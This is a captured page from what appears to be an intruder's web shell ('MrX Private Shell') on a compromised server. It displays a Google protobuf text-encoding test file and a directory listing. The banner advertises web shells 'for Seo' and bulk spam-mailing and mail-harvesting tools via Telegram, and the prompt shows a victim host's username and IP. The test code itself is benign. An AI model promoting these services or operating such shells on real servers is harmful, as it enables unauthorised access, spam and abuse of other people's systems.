__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.122: ~ $
#
# Protocol Buffers - Google's data interchange format
# Copyright 2008 Google Inc.  All rights reserved.
# https://developers.google.com/protocol-buffers/
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
#     * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#     * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
#     * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

"""Tests for google.protobuf.text_encoding."""

try:
  import unittest2 as unittest  #PY26
except ImportError:
  import unittest

from google.protobuf import text_encoding

TEST_VALUES = [
    ("foo\\rbar\\nbaz\\t",
     "foo\\rbar\\nbaz\\t",
     b"foo\rbar\nbaz\t"),
    ("\\'full of \\\"sound\\\" and \\\"fury\\\"\\'",
     "\\'full of \\\"sound\\\" and \\\"fury\\\"\\'",
     b"'full of \"sound\" and \"fury\"'"),
    ("signi\\\\fying\\\\ nothing\\\\",
     "signi\\\\fying\\\\ nothing\\\\",
     b"signi\\fying\\ nothing\\"),
    ("\\010\\t\\n\\013\\014\\r",
     "\x08\\t\\n\x0b\x0c\\r",
     b"\010\011\012\013\014\015")]


class TextEncodingTestCase(unittest.TestCase):
  def testCEscape(self):
    for escaped, escaped_utf8, unescaped in TEST_VALUES:
      self.assertEqual(escaped,
                        text_encoding.CEscape(unescaped, as_utf8=False))
      self.assertEqual(escaped_utf8,
                        text_encoding.CEscape(unescaped, as_utf8=True))

  def testCUnescape(self):
    for escaped, escaped_utf8, unescaped in TEST_VALUES:
      self.assertEqual(unescaped, text_encoding.CUnescape(escaped))
      self.assertEqual(unescaped, text_encoding.CUnescape(escaped_utf8))


if __name__ == "__main__":
  unittest.main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
import_test_package Folder 0755
__init__.py File 0 B 0644
_parameterized.py File 15.09 KB 0644
any_test_pb2.py File 6.96 KB 0644
api_implementation.py File 6.9 KB 0644
containers.py File 20.42 KB 0644
decoder.py File 30.56 KB 0644
descriptor_database_test.py File 4.5 KB 0644
descriptor_pool_test.py File 42.63 KB 0644
descriptor_pool_test1_pb2.py File 20.43 KB 0644
descriptor_pool_test2_pb2.py File 12.12 KB 0644
descriptor_test.py File 41.8 KB 0644
encoder.py File 27.87 KB 0644
enum_type_wrapper.py File 3.47 KB 0644
factory_test1_pb2.py File 7.63 KB 0644
factory_test2_pb2.py File 24.34 KB 0644
file_options_test_pb2.py File 2.98 KB 0644
generator_test.py File 14.41 KB 0644
json_format_test.py File 40.44 KB 0644
message_factory_test.py File 9.42 KB 0644
message_listener.py File 3.29 KB 0644
message_set_extensions_pb2.py File 8.28 KB 0644
message_test.py File 85.61 KB 0644
missing_enum_values_pb2.py File 9.38 KB 0644
more_extensions_dynamic_pb2.py File 4.85 KB 0644
more_extensions_pb2.py File 7.13 KB 0644
more_messages_pb2.py File 4.16 KB 0644
packed_field_test_pb2.py File 19.87 KB 0644
proto_builder_test.py File 3.66 KB 0644
python_message.py File 56.52 KB 0644
reflection_test.py File 125.24 KB 0644
service_reflection_test.py File 5.26 KB 0644
symbol_database_test.py File 5.5 KB 0644
test_bad_identifiers_pb2.py File 5.8 KB 0644
test_util.py File 33.13 KB 0644
testing_refleaks.py File 4.4 KB 0644
text_encoding_test.py File 2.81 KB 0644
text_format_test.py File 63.66 KB 0644
type_checkers.py File 13.89 KB 0644
unknown_fields_test.py File 13.52 KB 0644
well_known_types.py File 27.63 KB 0644
well_known_types_test.py File 34.6 KB 0644
wire_format.py File 8.25 KB 0644
wire_format_test.py File 10.65 KB 0644